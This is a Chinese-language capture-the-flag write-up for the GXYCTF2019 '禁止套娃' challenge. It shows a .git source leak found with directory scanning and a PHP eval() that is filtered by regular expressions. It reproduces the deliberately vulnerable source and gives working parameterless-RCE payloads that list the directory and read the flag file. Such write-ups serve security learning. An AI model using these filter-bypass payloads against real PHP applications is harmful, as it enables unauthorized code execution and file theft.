[GXYCTF2019]禁止套娃
掌握知识
目录扫描工具,git
源码泄露,代码审计,正则匹配,无参数函数进行RCE
解题思路
- 页面没什么内容,查看源码也没有
hint
,开始进行目录扫描,发现了git
目录,想到是.git
源码泄露的考点
2. 通过使用githack
工具成功得到了index.php
文件,接下来就开始进行代码审计,对代码进行解析了,代码如下
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
代码分析
- 该代码的目的肯定就是执行最后的
eval
函数了,一上来就看到了三个正则匹配的字段了,首先第一个正则匹配判断的是不能使用常见的几个伪协议
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
- 第二个是正则匹配替换字符串,这个正则有些眼熟,毕竟使用
?R
的还是很少的,之前学习无参数的命令执行见到过[^\W]+\((?R)?\)
,该正则目的就是检测函数不能带有参数。接下来对每个字段进行解释
[^\W] 会匹配所有数字和字母已经_,也就是[a-ZA-Z0-9_] 也就是加强版的[a-z,_]
[a-z_]+\(?\) 会匹配到a()形式的字符串也就是常见的函数类型,但是不能含有参数
(?R) 代表递归 和外面的结构一致 也就是a(b(c()))这种形式会被匹配到 函数里面递归函数 都是无参数的
所以[a-z_]+\((?R)?\) 就是a() a(b())这种格式的字符串才会被匹配到,然后替换为空
所以只需要在传参的最后加上; 即可通过此次匹配 这也就是无参数RCE的匹配方式
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
- 最后一个正则也好理解,和第一个一致,不能出现下面的内容即可,然后就可以调用
eval
对传入的参数进行代码执行了
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
解题过程
- 分析结束,最简单的无参数RCE的验证就是
phpinfo();
函数了,但是匹配了info
,证明也确实通过了前两个正则
- 查看最后一个正则匹配的字段,再查看搜集的payload,发现使用
scandir()
进行文件读取没有被限制。直接使用paylaod
查看当前目录下的所有文件/?exp=print_r(scandir(current(localeconv())));
。scandir
里面的函数会返回字符.
,print_r
是为了回显
- 发现了
flag
文件是在第三个数组内,可以使用多个next()
递归查看,但也可以使用array_reverse()
反转数组在结合next()
锁定flag
文件,最后使用文件读取函数替换print_r
即可拿下flag
。文件读取函数有很多,这个函数正好前几天写华为杯碰到了。。
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
- 其实无参数RCE可以使用的方法还是很多的,每个都有着不同的
payload
,可以应该不同的过滤,比如利用HTTP请求头(用到get...
),利用全局变量(用到get...
),利用session
(会用到hex2bin
)都是可以的,只不过这道题不适用
关键paylaod
python dirsearch.py -u http://...
python githack.py http://...
/?exp=print_r(scandir(current(localeconv())));
/?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
/?exp=readfile(next(array_reverse(scandir(current(localeconv())))));